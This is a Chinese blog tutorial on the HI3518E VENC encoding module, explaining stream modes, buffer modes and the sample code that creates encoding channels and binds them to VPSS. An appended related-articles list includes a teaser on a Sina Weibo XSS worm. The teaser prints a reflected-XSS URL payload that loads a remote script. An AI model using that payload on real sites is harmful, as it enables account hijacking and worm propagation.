第二季7:创建配置编码通道(step5:VENC部分)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。

前言

本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“创建配置编码通道”。

我们首先介绍VENC模块相关的概念,然后绘制该模块的函数调用关系图谱,接着分析具体代码。

一、VENC模块的相关概念

1、VENC模块的功能

VENC模块,即视频编码模块。

本模块支持多路实时编码,且每路编码独立,即每路的编码协议和编码profile可以不同。

本模块也支持在视频编码时,调度Region模块对编码图像的内容进行叠加和遮挡。

2、VENC模块的输入源

VENC 模块的输入源包括三类:

(1)用户态读取图像文件向编码模块发送数据。

(2)VI模块采集的图像直接发送到编码模块。

(3)VI模块采集的图像经视频处理子系统(VPSS)发送到编码模块。(我们分析这类!

3、VENC模块支持的编码格式

不同型号的芯片支持不同的编码格式,由下表可知 HI3518E 支持H.264编码

4、VENC模块的上下文

VENC模块的上下文如下图所示。

编码流程包括:输入图像的接收、图像内容的遮挡和覆盖、图像的编码、以及码流的输出等过程。

(1)图像接收通道

其中VENC模块包含图像接收通道、具体协议(H.264/H.265/JPEG/MJPEG)编码通道。

图像接收通道支持接收 YUV 格式的图像输入(H.264/H.265 只支持YUV420SP,JPEG/MJPEG 支持YUV420SP或YUV422SP),另外HI3518E也支持单Y分量的输入。图像接收通道接收外部的原始图像数据,而不关心图像数据是来自哪个外部模块。

图像接收通道接收到图像之后,会比较图像尺寸和编码通道尺寸:

  • 如果输入图像比编码通道尺寸大,VENC模块将按照编码通道尺寸大小,调用 VGS 对源图像进行缩小,然后对缩小之后的图像进行编码。

  • 如果输入图像比编码通道尺寸小,VENC模块将丢弃源图像,因为不支持放大输入图像编码。

  • 如果输入图像与编码通道尺寸相当,VENC模块直接接收源图像,进行编码。

(2)REGION模块

该模块支持对图像内容的遮挡和叠加。

(3)具体协议编码通道

具体协议编码通道的功能框图如下,从中可知具体编码通道由码率控制器、编码器协同完成,主要实现图像转化为编码码流的功能。这里的编码器,指的是狭义上的编码器,只完成编码功能。码率控制器,提供对编码参数的控制和调整,从而对输出码率进行控制。

对于 H.264、H.265、MJPEG 协议的编码通道,码率控制器提供 CBR(固定比特率)、VBR(可变比特率)、FIXQP(固定QP) 这三种码率控制模式,对图像质量和码率进行调节。

5、编码码流的帧配置模式

阅读本节内容前,先理解博文第6季1:H264编码原理与基本概念_天糊土的博客的内容。

编码码流帧配置支持两种模式:单包模式和多包模式。也就是说,我们可以将一个帧的数据作为一个码流包发送(即单包模式),也可以将一个帧搞成几个(H.264为4个)码流包进行发送(即多包模式)。注意这里说的多包,特指在不调用分包接口的情况下,也就是说不对一帧数据进行“子帧”划分,或者说,以一帧完整的图像数据作为单位的。

它们的示意图如下(以H.264为例)。

(1)多包模式。对于H.264,当为I帧时,调用HI_MPI_VENC_GetStream接口,一个I帧包含4个NAL包(4个NAL包分别为sps包、pps包、sei包、Islice包,这里假设pps包只有一个,且4个NAL包是独立的,包类型不同);对于JPEG,一帧图像包含2个包(1个图像参数包,1个图像数据包,2个包是独立的,包类型不同)。

(2)单包模式:对于H.264,当为I帧时,调用HI_MPI_VENC_GetStream接口,一个I帧包含1个NAL 包(该NAL包的包类型为Islice包,且包含sps、pps、sei、Islice的数据);对于JPEG,一帧图像只有1个包(该包的包类型为图像数据包,且包含图像参数包的数据)。

两种模式可通过 ko 加载时设置模块参数 OneStreamBuffer 来选择。OneStreamBuffer=1表示单包模式;OneStreamBuffer=0 表示多包模式,系统默认 OneStreamBuffer=0。

(接下来这段话描述的是调用分包接口的情形?)

当用户调用分包接口(例如HI_MPI_VENC_SetH264SliceSplit) 时,一帧会被分成多个slice,如果用户选择单包模式,对于 I 帧来说,该帧第一个 ISlice 包会包含 sps、pps、sei 的数据,该帧的其他 ISlice 则没有。即对于 H.264,sps、pps、sei 的数据只会出现在 I 帧的第一个 Islice 中(Islice中的字母I表示I帧),并合为 1 个包,且包类型为 ISlice;对于 JPEG/MJPEG 来说,图像参数包只会出现在一帧的第一个数据包中并合为 1 个包,且包类型为数据包。

根据上面的描述,案例里使用的是多包模式(没有设置这个参数,所以使用默认的)。

6、编码码流的buffer配置模式

编码码流 buffer 配置支持两种模式:一般模式和省内存模式。

  • 一般模式:考虑到超大帧的情况,码流 Buffer 大小配置的下限为:H264 和 H265是通道宽 x 通道高 x3/4,JPEG 和 MJPEG 是通道宽 x 通道高。

  • 省内存模式:码流 Buffer 大小配置的下限是 32*1024 bytes,此模式需要用户保证码流 buffer 大小设置合理,否则会出现因码流 buffer 不足而不断重编或者丢帧的情况。

两种模式可通过 ko 加载时设置相应的模块参数来选择。模块参数值为 1 表示省内存模式,模块参数值 0 表示一般模式。

  • hi35xx_h264e.ko 模块参数:H264eMiniBufMode。

  • hi35xx_h265e.ko 模块参数:H265eMiniBufMode。

  • hi35xx_jpege.ko 模块参数:JpegeMiniBufMode。

7、VENC模块的设备和通道 

注意VENC模块也有“设备”“通道”的概念。这里的“设备”即VENC模块这个硬件单元,只有一个,编号为0。这个VENC设备的内部也有几个通道(对应着不同协议),将来分别与VPSS模块的通道进行绑定。我们的案例里VENC设备具有3个通道,分别与VPSS模块的3个通道进行绑定。

二、VENC模块的函数调用关系 

VENC模块的函数调用关系如下:

SAMPLE_COMM_VENC_StartSAMPLE_COMM_SYS_GetPicSizeHI_MPI_VENC_CreateChn//创建编码通道HI_MPI_VENC_StartRecvPic//接收图片并开始编码SAMPLE_COMM_VENC_BindVpssHI_MPI_SYS_Bind//绑定VPSS和VENC

由此可知,该模块涉及以下几个步骤:

  • 开启VENC模块(先创建编码通道,然后接收图片并开始编码)

  • 绑定VPSS的通道到编码通道

 下面我们将详细介绍这几个步骤涉及到的概念与代码细节。

三、VENC模块代码详解

VENC模块的代码与分析如下。由于三路编码通道的操作基本相同,我们分析通道0即可。

 /******************************************step 5: start stream venc******************************************//*** HD1080P **/printf("\t c) cbr.\n");printf("\t v) vbr.\n");printf("\t f) fixQp\n");printf("please input choose rc mode!\n");c = (char)getchar();switch(c)//首先选择码率控制模式,c表示固定码率,v表示可变码率,f表示固定QP{case 'c':enRcMode = SAMPLE_RC_CBR;break;case 'v':enRcMode = SAMPLE_RC_VBR;break;case 'f':enRcMode = SAMPLE_RC_FIXQP;break;default:printf("rc mode! is invaild!\n");goto END_VENC_1080P_CLASSIC_4;}/*** enSize[0] **/if(s32ChnNum >= 1)//开始对编码通道0进行编码{VpssGrp = 0;//VpssChn = 0;//将来绑定VPSS模块的GROUP0中的通道0VencChn = 0;//这个函数我们重点分析s32Ret = SAMPLE_COMM_VENC_Start(VencChn, enPayLoad[0],\gs_enNorm, enSize[0], enRcMode,u32Profile);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}//将VENC模块的通道0,与VPSS模块的GROUP0中的通道0,进行绑定s32Ret = SAMPLE_COMM_VENC_BindVpss(VencChn, VpssGrp, VpssChn);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}}/*** enSize[1] **/if(s32ChnNum >= 2){VpssChn = 1;VencChn = 1;s32Ret = SAMPLE_COMM_VENC_Start(VencChn, enPayLoad[1], \gs_enNorm, enSize[1], enRcMode,u32Profile);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}s32Ret = SAMPLE_COMM_VENC_BindVpss(VencChn, VpssGrp, VpssChn);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}}/*** enSize[2] **/if(s32ChnNum >= 3){VpssChn = 2;VencChn = 2;s32Ret = SAMPLE_COMM_VENC_Start(VencChn, enPayLoad[2], \gs_enNorm, enSize[2], enRcMode,u32Profile);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}s32Ret = SAMPLE_COMM_VENC_BindVpss(VencChn, VpssGrp, VpssChn);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}}

1、SAMPLE_COMM_VENC_Start 函数分析

参数1,表示VENC模块的某个通道。参数2,表示编码格式(是指VENC对视频流的编码压缩方式,并非指图像像素格式YUV这种概念。案例里三路编码通道的编码格式居然都是H264)。参数3,表示图像制式(这里是NTSC)。参数4,表示图像分辨率(枚举变量而已,但对应着具体的分辨率)。参数5,表示码率控制模式(即CBR\VBR\FIXQP)。参数6,表示profle(啥意思)。

该函数内部的流程如下:

(1)首先调用SAMPLE_COMM_SYS_GetPicSize函数获取图像的分辨率(因为需要将这些分辨率信息赋值给某些结构体的成员);

(2)然后switch语句判断参数2(即判断是哪种编码格式),由于参数2是PT_H264,因此接下来填充结构体变量stH264Attr的成员(这个结构体变量包含着H264协议编码通道的属性或者说设置信息)。

(3)接下来根据码率控制模式(我们输入的是“c”或者“v”或者“f”对应着CBR\VBR\FIXQP),来填充结构体变量stH264Cbr或stH264FixQp或stH264Vbr,以及结构体变量stVencChnAttr的成员(具体成员的含义有时间可以看看)。

(4)然后调用HI_MPI_VENC_CreateChn函数来创建通道,传入的参数1是VENC模块的某个通道,参数2是(3)中的结构体变量stVencChnAttr。

(5)最后调用HI_MPI_VENC_StartRecvPic函数,开始进行图像的接收与编码。

2、SAMPLE_COMM_VENC_BindVpss函数分析

这个函数内容与分析如下:

/*****************************************
* function : venc bind vpss           
*******************************************/
HI_S32 SAMPLE_COMM_VENC_BindVpss(VENC_CHN VeChn,VPSS_GRP VpssGrp,VPSS_CHN VpssChn)
{HI_S32 s32Ret = HI_SUCCESS;MPP_CHN_S stSrcChn;MPP_CHN_S stDestChn;//绑定关系中,源头的相关信息stSrcChn.enModId = HI_ID_VPSS;//HI3518E中的哪个硬件单元,这里是VPSS模块硬件单元stSrcChn.s32DevId = VpssGrp;//VPSS模块中的哪个GROUP,这里VpssGrp=0stSrcChn.s32ChnId = VpssChn;//GROUP0中的哪个通道,这里是通道VpssChn//绑定关系中,接收方的相关信息stDestChn.enModId = HI_ID_VENC;/HI3518E中的哪个硬件单元,这里是VENC模块硬件单元stDestChn.s32DevId = 0;//VENC模块中的哪个设备,这里是设备0stDestChn.s32ChnId = VeChn;//设备0中的哪个通道,这里是通道VeChns32Ret = HI_MPI_SYS_Bind(&stSrcChn, &stDestChn);if (s32Ret != HI_SUCCESS){SAMPLE_PRT("failed with %#x!\n", s32Ret);return HI_FAILURE;}return s32Ret;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460459.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

hdu 1176 馅饼

略微简单的动态规划 只是简单贴代码就好了。 #include <stdio.h> #include <string.h>int dp[100007][11]; int ans[100007][11]; int n,N;inline int Max(int x,int c){return x>c?x:c; } int v[16]; void DP() {int i,j;memset(v,0,sizeof(v));memset(ans,0,…

iOS开发-Get请求,Post请求,同步请求和异步请求

标题中的Get和Post是请求的两种方式&#xff0c;同步和异步属于实现的方法&#xff0c;Get方式有同步和异步两种方法&#xff0c;Post同理也有两种。稍微有点Web知识的&#xff0c;对Get和Post应该不会陌生&#xff0c;常说的请求处理响应&#xff0c;基本上请求的是都是这两个…

新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。 微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src//www.****.com/images/t.js%3e%3c/script%3e?typeupdate 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRe…

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark&#xff08;前身 Ethereal&#xff09;是一个网络包分析工具。该工具主要是用来捕获网络数据包&#xff0c;并自动解析数据包&#xff0c;为用户显示数据包的详细信息&#xff0c;供用户对数据包进行分析。它可以运行在 Wi…

Cortex-M3 动态加载一(地址无关代码实现)

这篇文章是自己疑惑究竟地址无关性是如何实现&#xff0c;然后查看汇编和CPU指令手册&#xff0c;最后分析解除自己疑惑的&#xff0c;高手不要鄙视&#xff0c;哈哈。 编译C代码时候需要制定--acps/ropi选项&#xff0c;如下例子&#xff1a; 1 void SystemInit(void)2 {3 }4 …

C#使用Log4Net记录日志【转】

第一步&#xff1a;下载Log4Net 下载地址&#xff1a;http://logging.apache.org/log4net/download_log4net.cgi 把下载的 log4net-1.2.11-bin-newkey解压后&#xff0c;如下图所示&#xff1a; 双击bin文件夹 双击net文件夹&#xff0c;选择针对.NET FramerWork的不同版本 找…

Map实现之HashMap(结构及原理)(转)

java.util包中的集合类包含 Java 中某些最常用的类。最常用的集合类是 List 和 Map。List 的具体实现包括 ArrayList 和 Vector&#xff0c;它们是可变大小的列表&#xff0c;比较适合构建、存储和操作任何类型对象元素列表。List 适用于按数值索引访问元素的情形。 Map 则提供…

mysql对表中添加属性_菜鸟笔记—数据分析师MySQL篇(一)

简单说一下我写这份学习笔记的原因&#xff0c;由于工作的原因&#xff0c;想换一份工作&#xff0c;对于毕业已经快6年了&#xff0c;再次重新学习就需要付出很大的勇气和努力&#xff0c;如果态度还不能及时调整&#xff0c;最近找工作遇到的窘境就不言而喻了。去年底报了一个…

matlab打开笔记本摄像头_如何解决笔记本电脑摄像头异常问题

如果您遇到笔记本电脑相机异常问题(无法侦测视讯装置、视讯无画面、视讯画面异常、视讯画面颠倒等等)&#xff0c;请参考以下疑难解答方式依序尝试。提供应用程序权限 / 检查防病毒软件/ 更新Windows Update / 更新相机驱动程序/透过系统还原点还原系统/ 系统还原1. 提供应用程…

边框颜色为 tintColor 的 UIButton

创建一个 UIButton 的子类&#xff0c;重写其方法&#xff1a; - (void)drawRect:(CGRect)rect {[[self layer] setCornerRadius:CORNER_RADIUS];[[self layer] setMasksToBounds:YES]; [[self layer] setBorderWidth:1];[[self layer] setBorderColor:self.tintColor.CGColo…

netty SimpleChannelInboundHandler类继承使用

2019独角兽企业重金招聘Python工程师标准>>> 继承一个SimpleChannelInboundHandler来实现我们的Client&#xff0c;我们需要重写其中的三个方法&#xff1a; package NettyDemo.echo.handler;import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; …

高中关于人工智能方面的课题_如何看待计算机专业开始设置人工智能课程

首先&#xff0c;当前计算机专业当中设置与人工智能相关的课程是一个必然的趋势&#xff0c;随着人工智能技术开始逐渐实现落地应用&#xff0c;未来计算机相关专业的课程当中&#xff0c;人工智能课程的比重也会逐渐提升&#xff0c;而且一定要重视这些课程&#xff0c;这对于…

Linux命令-目录处理命令:mkdir

mkdir /tmp/beijing mkdir -p /tmp/shijiazhuang/yuhuaqu 一条命令可以同时创建父目录和子目录 mkdir /tmp/beijing/chaoyangqu /tmp/beijing/dongchengqu /tmp/beijing/tongzhouqu 同时创建多个目录

tableau 倒序都倒了_Tableau优秀作品拆解复刻01-是时候终结瘘管病了

写在最前面&#xff1a;这个复刻系列是学习tableau官网库中的优秀作品。学习他们亮眼图表的制作细节&#xff0c;仪表板的排版&#xff0c;颜色的搭配以及交互。tableau库的链接&#xff1a;优秀作品都在这里展示。库​public.tableau.com1 整体布局 颜色&#xff1a; 采用橙色…

目前最细致清晰的NSDictionary以及NSMutableDictionary用法总结(转)

做过Java语言 或者 C语言 开发的朋友应该很清楚 关键字map 吧&#xff0c;它可以将数据以键值对儿的形式储存起来&#xff0c;取值的时候通过KEY就可以直接拿到对应的值&#xff0c;非常方便。在Objective-C语言中 词典对象就是做这个事情的&#xff0c;不过在同一个词典对象中…

android string数组转json_移动端开发基础【20】pages.json的配置项pages

uni-app项目是通过pages节点配置应用由哪些页面组成&#xff0c;pages节点接收一个数组&#xff0c;数组每个项都是一个对象&#xff0c;其属性值如下&#xff1a;(1) 属性&#xff1a;path类型&#xff1a;String描述&#xff1a;配置页面路径(2) 属性&#xff1a;style类型&a…

Ubuntu Server 分区案例

为什么80%的码农都做不了架构师&#xff1f;>>> 只有一台服务器&#xff0c;配置硬盘1TB&#xff0c;内存4GB&#xff0c;既要做开发服务器&#xff0c;又要做Web服务器和数据库服务器&#xff0c;分区如下&#xff1a; 挂载点大小分区格式 /boot512MBext4/20GBext…

360网络修复工具_为什么大家都在骂360,但是360依旧是很强?

相信很多小伙伴也多多少少的听说过就是不要随便装360&#xff0c;因为装上360会如何如何。这些人往往说起来也是很有道理&#xff0c;我在以前上学的时候也是这么觉得&#xff0c;但是后来工作之后发现并不是这样。360先说一下360安全卫士的功能&#xff0c;有系统优化、垃圾清…

Java运行时内存

对于java程序员来说&#xff0c;并不必显示地对内存进行管理&#xff0c;一切都交给java虚拟机去做吧&#xff0c;而且&#xff0c;你也不一定做得比java虚拟机来得专业。好像所有内存管理都交给虚拟机去做就万事大吉了&#xff0c;但是&#xff0c;事实有时并非如此&#xff0…

中班机器人上课视频_家委会:出班费买智能扫地机器人,不用家长搞卫生了,莫名其妙...

【01】原来大家上学&#xff0c;几乎是很随意的样子&#xff0c;有人至没上过幼儿园&#xff0c;有的上过半年&#xff0c;然后就直接升小学。可即使是升小学了&#xff0c;家长也不会管&#xff0c;全凭自己了。可如今随着社会的发展&#xff0c;父母们都非常重视孩子们的学习…